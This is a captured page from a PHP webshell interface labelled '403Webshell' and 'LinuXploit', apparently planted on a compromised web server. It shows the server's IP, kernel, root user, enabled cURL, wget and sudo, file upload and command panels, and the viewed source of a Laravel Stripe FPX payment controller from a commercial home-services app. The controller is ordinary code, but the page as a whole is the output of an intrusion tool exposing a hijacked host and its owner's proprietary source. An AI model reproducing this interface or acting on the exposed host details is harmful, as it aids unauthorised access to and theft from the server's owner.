403Webshell
Server IP : 14.225.204.176  /  Your IP : 216.73.216.6
Web Server : nginx/1.24.0
System : Linux nodejs-ybgk 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 10:34:03 UTC 2024 x86_64
User : root ( 0)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/php/home-services/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/php/home-services/app/Http/Controllers//StripeFPXController.php
<?php
/*
 * File name: StripeFPXController.php
 * Last modified: 2021.07.24 at 16:24:06
 * Author: SmarterVision - https://codecanyon.net/user/smartervision
 * Copyright (c) 2021
 */

namespace App\Http\Controllers;

use Flash;
use Illuminate\Http\Request;
use Stripe\Exception\ApiErrorException;
use Stripe\PaymentIntent;
use Stripe\Stripe;

class StripeFPXController extends ParentBookingController
{

    public function __init()
    {
        Stripe::setApiKey(setting('stripe_fpx_secret'));
        Stripe::setClientId(setting('stripe_fpx_key'));
    }

    public function index()
    {
        return view('home');
    }

    public function checkout(Request $request)
    {
        $this->booking = $this->bookingRepository->findWithoutFail($request->get('booking_id'));

        if (empty($this->booking)) {
            Flash::error("Error processing Stripe FPX payment for your booking");
            return redirect(route('payments.failed'));
        }
        try {
            $stripeCart = $this->getBookingData();
            $intent = PaymentIntent::create($stripeCart);
        } catch (ApiErrorException $e) {
            Flash::error($e->getMessage());
            return redirect(route('payments.failed'));
        }
        return view('payment_methods.stripe_fpx_charge', ['booking' => $this->booking, 'intent' => $intent]);
    }

    /**
     * Set cart data for processing payment on Stripe.
     */
    private function getBookingData(): array
    {
        $data = [];
        $amount = $this->booking->getTotal();
        $data['amount'] = (int)($amount * 100);
        $data['payment_method_types'] = ['fpx'];
        $data['currency'] = "myr"; //setting('default_currency_code');
        return $data;
    }

    public function paySuccess(Request $request, int $bookingId)
    {
        $this->booking = $this->bookingRepository->findWithoutFail($bookingId);

        if (empty($this->booking)) {
            Flash::error("Error processing Stripe payment for your booking");
            return redirect(route('payments.failed'));
        } else {
            try {
                $intent = PaymentIntent::retrieve($request->get('payment_intent'));
                if ($intent->status == 'succeeded') {
                    $this->paymentMethodId = 10; // Stripe FPX method id
                    $this->createBooking();
                    return redirect()->to("payments/stripe-fpx");
                } else {
                    return $this->sendError("Error processing Stripe payment for your booking");
                }
            } catch (ApiErrorException $e) {
                Flash::error($e->getMessage());
                return redirect(route('payments.failed'));
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit